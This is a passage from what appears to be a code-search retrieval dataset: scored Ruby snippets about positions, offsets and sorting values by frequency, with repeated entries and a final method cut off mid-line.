"7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "f72747de9c71976dabc1b0c8a5ff37fd", "score": "0.4854526", "text": "def move_diffs\n\n end", "title": "" }, { "docid": "00e36d36d077f9f970f4710e8ec44c09", "score": "0.48505244", "text": "def at(p0) end", "title": "" }, { "docid": "843d4aee8b82969e01d3b7489d17283e", "score": "0.4844835", "text": "def offset\n @offset ||= (position.unitless? || position.unit_str == \"px\") ? position.value : 0\n end", "title": "" }, { "docid": "267f9aa6c13cfe37068dd57934831174", "score": "0.4841153", "text": "def scroll_by(delta_x, delta_y, device: T.unsafe(nil)); end", "title": "" }, { "docid": "3177150ccf20bad593f380d30d7215b7", "score": "0.48354033", "text": "def position _args\n \"position _args;\" \n end", "title": "" }, { "docid": "32df9a1f1448fd13999fff37a3c6685e", "score": "0.4816269", "text": "def setMarkerPosLocal _obj, _args\n \"_obj setMarkerPosLocal _args;\" \n end", "title": "" }, { "docid": "1b1dc9cbe8a9da57e3c4f4bf79ca3349", "score": "0.48039246", "text": "def move_diffs\n \n end", "title": "" }, { "docid": "3a248427f020a890fdc5b0413a5b1cbd", "score": "0.4803536", "text": "def afloatxy(object)\n push_x, push_y = 0, - 0.5 if object.direction == 2 # down\n push_x, push_y = 0.5, 0 if object.direction == 4 # left\n push_x, push_y = - 0.5, 0 if object.direction == 6 # right\n push_x, push_y = 0, 0.5 if object.direction == 8 # up\n return [push_x, push_y]\n end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.47972283", "text": "def pos; end", "title": "" }, { "docid": "be465abb58c300120dbbadc8e4634df1", "score": "0.47870666", "text": "def update_offset\n @offset_counter[1] += 0.01\n @offset_counter[1]=@offset_counter[1]%90\n @offset[1] = 30*Math.sin(@offset_counter[1]);\n @offset_counter[0]+=0.005\n @offset_counter[0]=@offset_counter[0]%90\n @offset[0] = 150*Math.sin(@offset_counter[0]);\n # @offset=[0,0]\n end", "title": "" }, { "docid": "d0ad57632126e5e3b4d43a62f9720db9", "score": "0.47868004", "text": "def offset\n\t\t\t@position + @offset\n\t\tend", "title": "" }, { "docid": "99764c4e390c56589a71c94a310d0a3f", "score": "0.47820672", "text": "def offset(original, new)\n return 0 unless original && new\n relative = (new - original).abs\n relative = -relative if new < original\n relative\n end", "title": "" }, { "docid": "0a64085e3007c189cdc9a22adebbb62e", "score": "0.47796524", "text": "def piezo_offset=(val)\n unless val < -13.5 or val > 13.5\n self.send_message(\":Piezo:Offset #{val}\")\n end\n end", "title": "" }, { "docid": "13ec3075476757f7e158dc5a162f37ad", "score": "0.47734424", "text": "def view_offset\n @position + @view.position\n end", "title": "" }, { "docid": "bbb3ef4519c8ed5fa759b20d92929c29", "score": "0.47715983", "text": "def observed_utc_offset(time = T.unsafe(nil)); end", "title": "" }, { "docid": "1226f7b5f01458e9d77fb08817f307f2", "score": "0.47620878", "text": "def setPosition _obj, _args\n \"_obj setPosition _args;\" \n end", "title": "" }, { "docid": "e88f6a0af8d471b690f8c23359784555", "score": "0.47591573", "text": "def drag_xy(object,limit_x=nil,limit_y=nil,limit_width=nil,limit_height=nil)\n return false if !defined?(object.x) or !defined?(object.y)\n if self.leftPress?(object)\n if @object_ox.nil?\n @object_ox = @x - object.x\n end\n if @object_oy.nil?\n @object_oy = @y - object.y\n end\n object.x = @x - @object_ox\n object.x = limit_x if limit_x && object.xlimit_width\n object.y = @y - @object_oy\n object.y = limit_y if limit_y && object.ylimit_height\n else\n @object_ox=nil\n @object_oy=nil\n end\n end", "title": "" }, { "docid": "b08c9568ba33eda4c6087fc0437549c5", "score": "0.47556418", "text": "def fires_in\n\t\t\t@offset - @group.current_offset if @offset\n\t\tend", "title": "" }, { "docid": "ed5acc80039fdd86676c5d615e769982", "score": "0.4753213", "text": "def move_zeros(array)\n\nend", "title": "" } ]
cc3e9d54de9959d8b4393bcdfce1be07
need to sort the values by frequencies, then multiply to get the sort
[ { "docid": "7f2848d9778600a448bf897976f0ebe8", "score": "0.0", "text": "def sort\r\n #create an array of cards by each value\r\n cards_by_value = Hash.new([])\r\n @cards.each { |card| cards_by_value[card.value] += [card] }\r\n #sort the values by length first, then value\r\n sorted_hand = cards_by_value.values.sort do |card_array1, card_array2|\r\n arr_length1, arr_length2 = card_array1.length, card_array2.length\r\n if arr_length1 == arr_length2\r\n card_array2[0].value <=> card_array1[0].value\r\n else\r\n arr_length2 <=> arr_length1\r\n end\r\n end\r\n\r\n @cards = sorted_hand.flatten\r\n\r\n self\r\n end", "title": "" } ]
[ { "docid": "716738121527e5a3546704934905c043", "score": "0.7341283", "text": "def sort_by_frequency_with_details\n histogram = inject(Hash.new(0)) { |hash, x| hash[x] += 1; hash}\n histogram.to_a.map { |arr| [arr[1], arr[0]] }.sort_by {|arr| arr[0]}.reverse\n end", "title": "" }, { "docid": "8050ef2a82ab1fce2179358391cbf5bd", "score": "0.69346416", "text": "def sort_by_frequency\n histogram = inject(Hash.new(0)) { |hash, x| hash[x] += 1; hash}\n sort_by { |x| [histogram[x], x] }\n end", "title": "" }, { "docid": "d7690cd5679fa4ea42f5f3b175f4b719", "score": "0.6891891", "text": "def frequency_sort(nums)\n frequency_hash = Hash.new(0)\n\n nums.each { |num| frequency_hash[num] += 1 }\n \n result = []\n frequency_hash.sort_by(&:last).group_by(&:last).each do |freq, nums|\n nums.sort_by { |nums| -nums.first }.each do |nums|\n freq.times do\n result.append(nums.first)\n end\n end\n end\n\n result\nend", "title": "" }, { "docid": "7d225cc9e2c459ea5ff485758013da02", "score": "0.66411614", "text": "def weigh_and_rank\n @data.values.sort do |o1, o2|\n o2.first <=> o1.first # sort descending by occurence\n end.each_with_index do |item, index| \n item[1] = item[0] / @total_occurences.to_f\n item[2] = index + 1\n end\n end", "title": "" }, { "docid": "327fc8177eafd95cbe3017e2b1b02bfb", "score": "0.6600084", "text": "def lfsort( list )\n frequencies = list.inject( {} ) do | hsh, item |\n hsh[ item.size ] ||= []\n hsh[ item.size ] << item\n hsh\n end\n\n frequencies.sort { | a, b | b <=> a }.inject( [] ) { | ary, item | ary + item.last }\nend", "title": "" }, { "docid": "c2389220c89f3222b7dc02e5a1289409", "score": "0.6547434", "text": "def freq_power(arr)\n hash = Hash.new(0)\n\n arr.each {|x|\n hash[x] = hash[x] + 1\n }\n\n # Sorting a hash returns an array, so we have to access\n # the value we want. We also need to reverse sort on the\n # second value of each array\n a = hash.sort {|a,b| b[1] - a[1]}\n a[0][0] ** a[0][1]\nend", "title": "" }, { "docid": "15c56a50183b18961468255cfe1d4b2c", "score": "0.65379274", "text": "def sort\n $word_freqs.sort_by! { |x| x[1] }.reverse!\nend", "title": "" }, { "docid": "79873c179599ce136ab2aab00e6c13de", "score": "0.6527186", "text": "def normalize_frequencies(freq)\n\ttotal = freq.map { |_,v| v }.reduce(&:+)\n\tremapped = freq.map { |k,v| [k, (v.to_f/total) * 100.0] }\n\tHash[remapped]\n end", "title": "" }, { "docid": "0040def4d8813d1f34576f0d33bfc972", "score": "0.6486693", "text": "def sort(word_freq)\n word_freq.each_pair.sort_by { |x| x[1] }.reverse\nend", "title": "" }, { "docid": "ac3f29f5f9ed0cc2c5821487e11b3fdc", "score": "0.64820796", "text": "def sort_by_frequency(arr)\n arr.sort_by {|e| [-arr.count(e), e]}\nend", "title": "" }, { "docid": "a4145813027a58ada4afd81f27d48728", "score": "0.64788014", "text": "def code_orded_by_frequency(counts)\n sorted_values = counts.keys.sort { |value_a, value_b| \n value_a_rank = sprintf \"%02d|%02d\", counts[value_a], value_a.weight \n value_b_rank = sprintf \"%02d|%02d\", counts[value_b], value_b.weight\n\n value_b_rank <=> value_a_rank\n }\n\n sorted_values.collect { |value|\n format_code([value] * counts[value])\n }.join\n end", "title": "" }, { "docid": "292917215908b7edd1043555bce3593d", "score": "0.6191866", "text": "def score(words, word, total_freq)\n hash = Hash.new{}\n # total_freq = 0\n # words.each{|w|\n # total_freq += NWORDS[w]\n # }\n \n words.each{|w|\n # if word == w\n # s = 100\n # else \n # #s = (NWORDS[w]/(total_freq)*100).round(4) \n # s = (NWORDS[w]/(total_freq*words.length)*100).round(4) \n # #puts s\n # end\n s = (NWORDS[w]/(total_freq*words.length)*100).round(4)\n hash[w] = s \n }\n hash = hash.sort_by{|k,v| -v}\n hash.each{|k,v| \n #print (String(v)+\" \"+String(NWORDS[k])+\" \"+k+\"\\n\")\n } \n hash = Hash[*hash.flatten]\n return hash\nend", "title": "" }, { "docid": "2b6ecdf10d83a53e49a87fac4f966e06", "score": "0.6154258", "text": "def sort_haplotypes\n @haplotypes.sort!{|x,y| y.frequency <=> x.frequency}\n end", "title": "" }, { "docid": "9841cc6d12d5307e25bcaa32a4919753", "score": "0.61494005", "text": "def frequency_table\n freq_hash = Hash.new(0)\n canvas.each do |row|\n row.inject(freq_hash) { |hash, val| hash[val] += 1; hash}\n end\n freq_hash.sort_by {|k,v| -v}.to_h\n end", "title": "" }, { "docid": "c9c2aa609faff7733115439d0b948926", "score": "0.6141668", "text": "def sort_counts(counts)\n count_array = counts.to_a\n count_array.sort_by! { |pair| pair[1] }\n count_array.reverse!\n count_array\nend", "title": "" }, { "docid": "be9d8aed1bf4ce42a1e3ce994d1f4003", "score": "0.61373454", "text": "def freqhash(values)\n # freq_hash = values.inject(Hash.new(0)) { |hsh, val| hsh[val] += 1; hsh }\n freq_hash = values.frequency\n freq_hash.default = 0 # set default hash value to 0\n freq_hash\n end", "title": "" }, { "docid": "51df5a406b61d2ad64f14bb7dbc10237", "score": "0.61241305", "text": "def sort_counts\n @count_array = @counts.to_a\n @count_array.sort_by! { |pair| pair[1] }\n @count_array.reverse!\n @count_array\n end", "title": "" }, { "docid": "d1e0515afd3163748c844d2a1ace49c7", "score": "0.6104624", "text": "def print_histogram(frequencies)\n width = frequencies.max.pop\n sorted_frequencies = frequencies.sort_by do |key, value|\n value\n end\n sorted_frequencies.each do |element|\n word = element[0]\n frequency = element[1]\n print \"#{word} rel% = #{frequency} | #{\"*\" * (frequency * width)}\\n\"\n end\n nil\nend", "title": "" }, { "docid": "b07bd1f403d28f08e89dfd99ecb24247", "score": "0.60649747", "text": "def populate_distribution_from_array(frequency_counts)\n @distribution_lookup = {}\n\n frequency_counts.each do |val_freq|\n val = val_freq.first\n freq = val_freq.last.to_f\n raise \"Invalid negative frequency (#{freq}) for value #{val}\" if freq < 0\n\n @total_mass += freq\n if @distribution_lookup.has_key? val\n @distribution_lookup[val] += freq\n else\n @distribution_lookup[val] = freq\n end\n end\n\n populate_distribution_array\n end", "title": "" }, { "docid": "91b8ccaab907c1eb9dbe18afc4e5492a", "score": "0.60182613", "text": "def token_density(precision: 2)\n token_frequency.each_with_object({}) { |(token, freq), hash|\n hash[token] = (freq / token_count.to_f).round(precision)\n }.sort_by_value_desc\n end", "title": "" }, { "docid": "8ffcd7e1a109a265efac3264e38d4aa1", "score": "0.6013706", "text": "def sort_by_popularity(hash_cnt, hash_res)\n sorted_hash = hash_cnt.sort_by {|key, count| -count}\n res = []\n \n sorted_hash.each do |tuple|\n res << hash_res[tuple[0]]\n end\n res\n end", "title": "" }, { "docid": "09488db7b74e50c04e07d7392c3dcfef", "score": "0.5982327", "text": "def TF(_hash)\n total = 0\n _hash.each{|key, value| total += value} # Calc sum of frequency\n\n tf = Hash.new\n _hash.each do |key, value|\n tf[key] = value / total.to_f\n end\n tf\nend", "title": "" }, { "docid": "fd6d37af6e9a1889042182d99e7ebb00", "score": "0.5968552", "text": "def filter_freqs(frequencies)\n filtered_frequencies = {}\n max_frequency = frequencies.values.max\n frequencies.each do |word, count|\n if (count >= lower * max_frequency) && (count <= higher * max_frequency)\n filtered_frequencies[word] = count \n end\n end\n filtered_frequencies\n end", "title": "" }, { "docid": "31af36d5869b4414f9b30401452fba05", "score": "0.5959523", "text": "def frequencies\n \n if (@frequencies == nil)\n distinct_values = Java::CernColtListTdouble::DoubleArrayList.new\n frequencies = Java::CernColtListTint::IntArrayList.new\n DoubleDescriptive.frequencies(sorted_data, distinct_values, frequencies)\n distinct_values.trimToSize()\n frequencies.trimToSize()\n @distinct_values = distinct_values.elements().to_a\n @frequencies = frequencies.elements().to_a\n end\n\n { :distinct_values => @distinct_values, :frequencies => @frequencies}\n \n end", "title": "" }, { "docid": "716cf740c043562a3613c2e13a114c3b", "score": "0.59446925", "text": "def in_ascending_probability\n sort\n end", "title": "" }, { "docid": "cc05717298ab7000bfb60a31e8e2819b", "score": "0.59212065", "text": "def each_by_frequency\n\n\t\tar = @elements.to_a.sort { |a, b| b[1] <=> a[1] }\n\n\t\treturn ar.each unless block_given?\n\n\t\tar.each do |k, v|\n\n\t\t\tyield k, v\n\t\tend\n\tend", "title": "" }, { "docid": "95b6a8869667fdc1a2b7486f55949a07", "score": "0.5917874", "text": "def combine_frequency\n final_result = Hash.new(0)\n @documents.each do |doc|\n frequency = doc[:frequency]\n tf = doc[:tf]\n # key is a word\n frequency.keys.sort.each do |key|\n # idf_value = calculate_idf(key).round(5)\n # tf_idf = (tf[key] * idf_value).round(5)\n final_result[key] = final_result[key] + tf[key]\n end\n end \n final_result\n end", "title": "" }, { "docid": "3bdd908d81676fa454fe18eb7fd1054c", "score": "0.5901534", "text": "def adjust_for_ties(data)\n @t = data.frequencies.to_h.find_all { |k,v| v > 1 }.inject(0) { |a,v|\n a + (v[1]**3 - v[1]).quo(12)\n } \n end", "title": "" }, { "docid": "99f5ddc7e053457be1177bec4206f35d", "score": "0.58973527", "text": "def weigh_by_frequency(rumor)\n \n \treturn 0\n end", "title": "" }, { "docid": "606c7dc6fad3637512569829cfae24ac", "score": "0.5890557", "text": "def mode(array)\n sort_hash = Hash.new(0)\n\n array.each do |element|\n sort_hash[element] += 1\n end\n\n result = []\n highest_freq = 0\n p sort_hash\n sort_hash.each_key do |key|\n if (sort_hash[key] == highest_freq)\n result << key\n elsif (sort_hash[key] > highest_freq)\n result.clear\n result << key\n highest_freq = sort_hash[key]\n end\n end\n p result\nend", "title": "" }, { "docid": "99faa9e0225897d7e88b40a9af9a4e79", "score": "0.58638066", "text": "def sort_collocations_by_frequency\n @bigrams_with_count = @bigrams_with_count.sort{|a,b| a[1]<=>b[1]}.reverse\n end", "title": "" }, { "docid": "9fe1bba799f6115f2cd208a0090e835a", "score": "0.5860743", "text": "def finalscore(h)\r\n # puts \"==>> #{originalarray}\"\r\n # puts \"h = #{h}\"\r\n h.each do |key,value|\r\n # if infreq_items.include?(key)\r\n # buffer = 1 #Set this value to 1.25\r\n # else\r\n # buffer = 1\r\n # end\r\n\r\n\r\n value [1] =10000*( value[1]/value[0])\r\n total_score = value[0]+value[1]\r\n h[key] = total_score\r\n end\r\n\r\n return h\r\nend", "title": "" }, { "docid": "2b574a6d0c911496a9742cf0f1c74bca", "score": "0.58600104", "text": "def get_frequencies(data, get_total_quantity = false, total_pats = 0)\n total_occs = 0\n data.each do |key,value| \n total_occs += value\n end\n\n total_occs = total_occs.to_f \n if total_pats == 0\n total_pats = total_occs\n end\n\n frequencies = {}\n data.each do |key,value| \n frequencies[key] = ((value/total_pats)*100).round(1)\n end\n\n if get_total_quantity\n return total_occs, frequencies\n else\n return frequencies\n end\nend", "title": "" }, { "docid": "952386b326fb924fc79d6bac9d710488", "score": "0.5844785", "text": "def second(h2)\nb = Hash[h2.sort_by { |k, v| k}]\n\nsq = @s.keys\n\nsum = 0 \n@count = 1\nrec_hash = Hash.new(0)\nh2.each {|k, v|\n @count += 1\n puts @count\n sq.each do |word|\n if Wordsdoc.find_by_docid(k).tf.include?(word)\n sum += Wordsdoc.find_by_docid(k).tf[word] * @s[word] \n end\n end\n rec_hash[k] = sum \n sum = 0\n }\n\nsorted_hash = Hash[rec_hash.sort_by {|k, v| -v}[0..10]]\nmakeRecommendations(sorted_hash)\nend", "title": "" }, { "docid": "dea2b1a967c048ffbbce89cc32c1079e", "score": "0.58434594", "text": "def frequencies\n\n for w in $words\n keys = $word_freqs.map { |wd| wd[0] }\n if keys.include? w\n $word_freqs[keys.index(w)][1] += 1\n else\n $word_freqs.append([w, 1])\n end\n end\nend", "title": "" }, { "docid": "0778085bc42b8d5587902cd1c45d1841", "score": "0.5835841", "text": "def frequencies\n @fields[3..-1].each_slice(2).to_a.map { |x| [x[0].to_f, x[1]] }\n end", "title": "" }, { "docid": "320b65968a1926e60d77f86fb1544225", "score": "0.5818374", "text": "def p2a(data)\n hist = Hash.new(0)\n max_dist = 0\n last_dist = 0\n\n data.each do |d|\n hist[d] += 1\n dist = if hist[d] == 1\n reduce(hist)\n else\n last_dist + 1\n end\n max_dist = dist if dist > max_dist\n last_dist = dist\n end\n max_dist\nend", "title": "" }, { "docid": "28afa0ce5c11f91de9e6a66fc5dd0933", "score": "0.58128095", "text": "def top_k_frequent_elements(list, k)\n len = list.length \n max_frequency = 0 \n return list if k == len\n return [] if list.empty? \n\n result = []\n hash_map = Hash.new(0)\n\n list.each do |number|\n hash_map[number] += 1 \n end \n\n sorted_hash_by_value = hash_map.sort_by {|k, v| -v} #array of arrays [[key, value]] sorted descending \n\n i = 0 \n while i < k do \n result << sorted_hash_by_value[i][0]\n i += 1 \n end \n\n\n return result \n\nend", "title": "" }, { "docid": "ea0e4b377afe06634fb41e5080483bb9", "score": "0.5798318", "text": "def top_words(all_words_by_artist)\r\n count_hash = {}\r\n total_count = 0\r\n all_words_by_artist.each{|word, details|\r\n count_hash[word] = details.flatten.count\r\n total_count += details.flatten.count\r\n }\r\n\r\n sorted = count_hash.sort_by{|word, count| count}.reverse\r\n sorted.each_with_index{|array, index| sorted[index] << array[1].to_f/total_count.to_f}\r\n return sorted\r\nend", "title": "" }, { "docid": "819ad1e78066fac70c438735bd54577d", "score": "0.5790518", "text": "def calculate_tf(file_frequency)\n file_frequency[:tf] = Hash.new(0.0)\n frequency = file_frequency[:frequency]\n count = file_frequency[:count]\n frequency.keys.sort.each do |key|\n tf = frequency[key].to_f / count\n file_frequency[:tf][key] = tf.round(3)\n end\n file_frequency\n end", "title": "" }, { "docid": "8f6fb48a6a8675dc5217549d3016c413", "score": "0.57865644", "text": "def sort_by_groups(rows)\n @frequencies ||= {}\n rows.sort do |a,b|\n if a.nil? && b.nil?\n 0\n elsif a.nil?\n 1\n elsif b.nil?\n -1\n else\n line_a, line_b = [parse_line(a), parse_line(b)]\n groups_a, groups_b = [line_a.last, line_b.last]\n groups_a = groups_a.map{|g| g.gsub(/\\((.*?)\\)/, \"\\\\1\").strip}\n groups_b = groups_b.map{|g| g.gsub(/\\((.*?)\\)/, \"\\\\1\").strip}\n freq_sum_a = groups_a.map{|g| @frequencies[g].to_i}.sum\n freq_sum_b = groups_b.map{|g| @frequencies[g].to_i}.sum\n [groups_b.reverse, freq_sum_b] <=> [groups_a.reverse, freq_sum_a]\n end\n end\nend", "title": "" }, { "docid": "7e5bebc8b7f2f6f683b852e7f21c82e0", "score": "0.57763666", "text": "def discretize sorted_frequency\n\n return_hash = Hash.new\n # iterate over each attribtue and open up its attribute\n # name and its frequency\n sorted_frequency.each do |attribute_name, frequency_hash|\n # for each of the values in the hash/array, find their\n # probability (frequency/# of events)\n ranges = split(frequency_hash)\n return_hash[@parser.attribute_name_index_list[attribute_name]] = ranges\n #puts \"Recomended ranges for #{attribute_name} attribute are #{ranges}\"\n end\n\n return return_hash\n end", "title": "" }, { "docid": "e792e4dc6ca93a668f74c318c761deb2", "score": "0.577636", "text": "def calculate_freqs cardinality\n # for each symbols\n (0..self.length - 1).each { |s|\n self[s].symbol_card += 1 if cardinality[s] > 0\n }\n\n self.map { |f| f.freq = f.symbol_card.to_f / @documents_count.to_f }\n end", "title": "" }, { "docid": "c3dc2e4585fbb14effd2895574c89cc8", "score": "0.57724535", "text": "def top_5_freq_by_freq(word_hash)\n result = {}\n word_hash.each do |word|\n if result[word[1]].nil?\n result[word[1]] = [word[0]]\n else\n result[word[1]] << word[0]\n end\n end\n result\n end", "title": "" }, { "docid": "74852d1acf358a1b6226845dae89915b", "score": "0.57677156", "text": "def sortByCountDecreasing\r\n sortedDec = @counts.sort{|a,b| b[1]<=>a[1]}\r\n sortedDec.to_a\r\n end", "title": "" }, { "docid": "d3a53ab560f190fdebf55fe2b918cbfa", "score": "0.57647914", "text": "def sort_by_decreasing_frequency(img)\n hist = img.color_histogram\n # sort by decreasing frequency\n sorted = hist.keys.sort_by {|p| -hist[p]}\n sorted = sorted * 100\n new_img = Magick::Image.new(hist.size, 100)\n new_img.store_pixels(0, 0, hist.size, 100, sorted)\nend", "title": "" }, { "docid": "dc889aa4eee222471f0478c381e5e21f", "score": "0.5762685", "text": "def repeated_frequency\n cur_freq = 0\n freqs = []\n i = 0\n while (!(freqs.include? cur_freq))\n i = 0 if i == @ops.size\n\n freqs << cur_freq\n cur_freq += @ops[i]\n\n i += 1\n end\n\n cur_freq\n end", "title": "" }, { "docid": "49b0f77ede3749862306ef1d7c6a756e", "score": "0.5761956", "text": "def values_desc_by_occurency\n values = cards.map(&:value)\n\n values.sort do |a, b|\n coefficient_occurency = (values.count(a) <=> values.count(b))\n\n coefficient_occurency.zero? ? -(a <=> b) : -coefficient_occurency\n end\n end", "title": "" }, { "docid": "e44b76e5fbf321167878760b581d0da1", "score": "0.5754728", "text": "def setupByFreqTable(_freqTable)\n @originalFreqTable = _freqTable ;\n \n @nPickUp = _freqTable.size ;\n @nDropOff = _freqTable[0].size ;\n\n _sum = 0.0 ;\n _freqTable.each{|freqRow|\n freqRow.each{|freq|\n _sum += freq.to_f ;\n }\n }\n \n @probSingular = [] ;\n @probPickUp = [] ;\n @probDropOff = [] ;\n (0...@nPickUp).each{|i|\n @probSingular[i] = [] ;\n (0...@nDropOff).each{|j|\n _v = _freqTable[i][j].to_f / _sum ;\n @probSingular[i][j] = _v ;\n @probPickUp[i] = @probPickUp[i].to_f + _v ;\n @probDropOff[j] = @probDropOff[j].to_f + _v ;\n }\n }\n\n adjustWeightFactored() ;\n\n adjustDiagSumProb() ;\n\n return self ;\n end", "title": "" }, { "docid": "276c897679ceb37012186d05fa8a54a4", "score": "0.5714677", "text": "def sort_decending(num)\n histogram = build_histo num\n sortstring = ''\n keys = %w[9 8 7 6 5 4 3 2 1 0]\n\n keys.each do |key|\n next if histogram[key] == 0\n sortstring += (key * histogram[key])\n end\n\n sortstring.to_i\nend", "title": "" }, { "docid": "ae67b0c3452448af199b00230e6d0e6b", "score": "0.57082593", "text": "def frequency_sort(s)\n freq_string = \"\"\n letter_counts = Hash.new(0)\n\n s.each_char do |ch|\n letter_counts[ch] += 1\n end\n\n desc_counts = letter_counts.sort_by { |k, v| v }.reverse\n\n desc_counts.each do |letter_pair|\n freq_string += (letter_pair[0] * letter_pair[1])\n end\n\n freq_string\nend", "title": "" }, { "docid": "8f192f4a18315fd7238af03f94ebd6c2", "score": "0.5706731", "text": "def normalize_frequency_hash!(hash)\n \t sum = hash.inject(0) do |sum, object|\n \t sum += object[1]\n \t end\n \t sum = sum.to_f\n \t hash.each { |object, frequency| hash[object] = frequency / sum }\n \tend", "title": "" }, { "docid": "893301a7d00118ce8140533a8c8df0a8", "score": "0.5692742", "text": "def test\n frequency = Hash.new(0)\n 1000.times {\n shuff_array = shuffle ['a','b','c','d','e','f','g','h']\n i = 0\n shuff_array.each {|x|\n frequency[i] += 1 if x == 'a'\n i += 1\n }\n }\n p frequency\n p frequency.sort\n \n puts \"'a' location: 1st 2nd 3rd 4th 5th 5th 7th 8th\"\n puts \"frequency : #{frequency[0]} #{frequency[1]} #{frequency[2]} #{frequency[3]} #{frequency[4]} #{frequency[5]} #{frequency[6]} #{frequency[7]}\"\nend", "title": "" }, { "docid": "cf7598af06f6e0ebcdc0a5ccb648f726", "score": "0.56911564", "text": "def item_frequency(array)\n counts = item_counts(array)\n\n total_items = array.size\n # puts \"Total items: #{total_items}\"\n\n frequencies = Hash.new\n\n counts.each do |item, count| \n frequency = (count/total_items.to_f).round(3) \n\n # puts \"Item: #{item}, Count: #{count}\" \n # puts \"Frequency of #{item}: #{frequency}\\n\\n\"\n frequencies[item] = frequency\n end\n\n frequencies\nend", "title": "" }, { "docid": "1e126d4c18400bf9980e2a23cb54e35b", "score": "0.5690704", "text": "def reaping_frequency; end", "title": "" }, { "docid": "4ad66c602e934878d58f250c5f1a3f60", "score": "0.56841224", "text": "def multiply_all_pairs(array1, array2)\n sorted_array = []\n array1.each do |number|\n array2.each do |num|\n sorted_array << number * num\n end\n end\n sorted_array.sort\nend", "title": "" }, { "docid": "1106e43064324d8d473eda49d80ce66e", "score": "0.5678486", "text": "def top_k_frequent_elements(list, k)\n #check if the length of the list is zero, return empty array\n if list.length == 0\n return []\n end\n #create new hash here\n hash = Hash.new(0)\n #loop through array \n list.each do |num|\n hash[num] += 1\n end\n #got help with this result line via Martha\n #you want to sort the hash by number value and frequency\n #descending order\n result = hash.sort_by{|num, frequency| -frequency} \n #create an empty array to hold your final result\n final_result = []\n #based on the number of common elements you want, that's how many times you'll loop thorugh\n #push the result into the final result\n #return the final result\n k.times do |i|\n final_result << result[i][0]\n end\n return final_result\nend", "title": "" }, { "docid": "8e5970df4a7f161732462a10a8503813", "score": "0.5665438", "text": "def freq_multi(arr)\n power_proc = Proc.new { |n|\n n * n\n }\n arr.map(&power_proc)\nend", "title": "" }, { "docid": "6ace71d5ae365fc8821666e83cc106cf", "score": "0.56595767", "text": "def freqs\n ret = Freqs.new\n\n (0..length - 1).each { |i|\n ret << Hash[:symbol, self[i].symbols, :freq, self[i].freq]\n }\n\n ret.sort! { |a, b| b[:freq] <=> a[:freq] }\n end", "title": "" }, { "docid": "86e77e9e4ced0a6362690ceeb0f999cb", "score": "0.5656693", "text": "def freq \n k = Hash.new(0)\n self.each { |x| k[x] += 1 }\n return k\n end", "title": "" }, { "docid": "76345e7dc4d963c13cbc86d5648c7524", "score": "0.565401", "text": "def sort_scores_by_value\n @ordered = @scores.keys\n @ordered.sort! {|x,y| @scores[y].pval <=> @scores[x].pval}\n end", "title": "" }, { "docid": "2ffa83f99f36e41b45388a1baaf5281f", "score": "0.564987", "text": "def extended_counting_sort(input)\n sorted = Array.new(input.size)\n counts_map = {}\n # sum each number independently in the map\n input.each do |elem|\n previous = counts_map[elem] || 0\n counts_map[elem] = previous + 1\n end\n #sort the keys of the map to obtain the ordered list of D distinct elements\n d = counts_map.keys.sort #assumption: this runs in O(nlogn) time as it's a comparison sort\n # now build a map from elements to their position n the counts array\n counts_position_map = {}\n d.each_with_index {|elem, index| counts_position_map[elem] = index }\n # copy the counts into the counts map\n counts = d.map { |i| counts_map[i] }\n # sum the counts up in order such that each element contains the number of elements <= i\n (1..counts.size - 1).each { |i| counts[i] += counts[i - 1] }\n # and now everything works as before, including preservation\n # of the stability property, except we use the counts_position_map\n # to tell us where the element's index is in the counts array\n # now lay everything into the output\n (input.size - 1).downto(0).each do |index|\n input_elem = input[index]\n counts_position = counts_position_map[input_elem]\n counts_elem = counts[counts_position] # ow many elements are less than this?\n # our arrays are zero indexed\n output_index = counts_elem - 1\n sorted[output_index] = input_elem\n counts[counts_position] -= 1\n end\n sorted\nend", "title": "" }, { "docid": "0ee084668105d8bffb26125b729f5d48", "score": "0.5645624", "text": "def populate_distribution_from_hash(frequency_counts)\n @distribution_lookup = {}\n\n frequency_counts.each_pair do |val, freq|\n freq = freq.to_f\n raise \"Invalid negative frequency (#{freq}) for value #{val}\" if freq < 0\n\n @total_mass += freq\n if @distribution_lookup.has_key? val\n @distribution_lookup[val] += freq\n else\n @distribution_lookup[val] = freq\n end\n end\n\n populate_distribution_array\n end", "title": "" }, { "docid": "22a9df05e0d5369d53f762f9f0da1681", "score": "0.56342363", "text": "def comparer(hash)\n most_freq = []\n max_value = hash.values.max \n hash.each do |key,value|\n if value == max_value\n most_freq << key\n end\n end \n most_freq\nend", "title": "" }, { "docid": "bc97feb3c5ffca552bd794ac68400779", "score": "0.563106", "text": "def sort_by_decreasing_frequency(img)\n hist = img.color_histogram\n # sort by decreasing frequency\n sorted = hist.keys.sort_by {|p| -hist[p]}\n new_img = Magick::Image.new(hist.size, 1)\n new_img.store_pixels(0, 0, hist.size, 1, sorted)\n end", "title": "" }, { "docid": "96714ad888da0370c4941a2deff32858", "score": "0.56291354", "text": "def highestfrequency\n if @counts.length > 0\n # Sort the hash\n sorted = @counts.sort_by { |letter, count| -count}\n # Setup new variables to construct the array\n newString = \"\"\n greatestVal = sorted[0][1] # The count in the first array is the highest\n sorted.each {\n |a|\n # If the count value of the inner array equals the greatest value\n if a[1] == greatestVal\n # Add the letter to the new string\n newString += a[0]\n end\n }\n \n highestFreqArray = [newString, greatestVal]\n return highestFreqArray\n else\n return nil\n end\n \n end", "title": "" }, { "docid": "f9beb72ce739efc57ceb31122881f93d", "score": "0.56275463", "text": "def lowered_frequencies\n result = []\n current = { frequency: frequency, time_period: time_period }\n\n REDUCED_FREQUENCIES.times { current = lower_frequency(current); result << current }\n result\n end", "title": "" }, { "docid": "e6b8c1c207b2d2cc50f7bc670421324e", "score": "0.56246614", "text": "def counting_sort(a, k)\n count = Array.new(k + 1, 0)\n 